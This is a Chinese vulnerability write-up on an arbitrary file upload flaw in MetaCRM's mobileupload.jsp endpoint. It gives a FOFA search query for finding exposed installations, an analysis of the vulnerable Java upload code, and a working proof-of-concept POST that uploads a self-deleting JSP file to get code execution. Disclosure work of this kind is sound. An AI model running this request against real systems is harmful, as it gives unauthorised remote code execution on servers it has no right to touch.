漏洞简介
MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。美特CRM mobileupload.jsp 接口存在任意文件上传漏洞,攻击者无需经过严格身份验证即可向服务器上传任意类型的文件,包括可执行的恶意脚本。一旦利用此漏洞,攻击者可能在服务器上部署后门、WebShell 等恶意程序,从而实现远程代码执行、服务器控制,甚至进一步窃取敏感数据或破坏业务系统的正常运行。
影响版本
fofa语法
body="/common/scripts/basic.js" && body="www.metacrm.com.cn"
漏洞分析
直接看mobileupload.jsp实现逻辑当中关键部分
upload.setHeaderEncoding("utf-8");
upload.setProgressListener(getBarListener);
List uploadlist=upload.parseRequest(request);
Iterator iter=uploadlist.iterator();
while (iter.hasNext()) {
FileItem item=(FileItem)iter.next();
filename=org.apache.commons.io.FilenameUtils.getName(item.getName());
if (!item.isFormField() && !sizeflag && !formatflag) {
int iSept=filename.lastIndexOf(java.io.File.separator);
if (iSept>0)
filename=filename.substring(0,iSept);
if (!filename.equals("")) {
iSaveSize +=item.getSize();
iSaveCount +=1;
//System.out.println("start "+filename);
affixID = com.metasoft.framework.pub.util.Oid.getOid();
if (filename.indexOf(".")!=-1) {
affixID +=filename.substring(filename.lastIndexOf("."));
}
java.io.File saveFilepath=new java.io.File(path+affixID);
//是否有附件存储规则定义
if(flag){
affixID = childPath+"/"+affixID;
}
item.write(saveFilepath);
}
最主要是上传文件后缀截取至用户上传设置的filename的最后一个点后的后缀,这个由用户控制,因此造成任意文件上传漏洞。
漏洞复现
POST /mobile/mobileupload.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456
------WebKitFormBoundary123456
Content-Disposition: form-data; name="file"; filename="1.jsp"
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary123456--
在响应里回显了文件路径以及文件名

访问上传文件,成功执行代码,打印随机UUID并删除自身



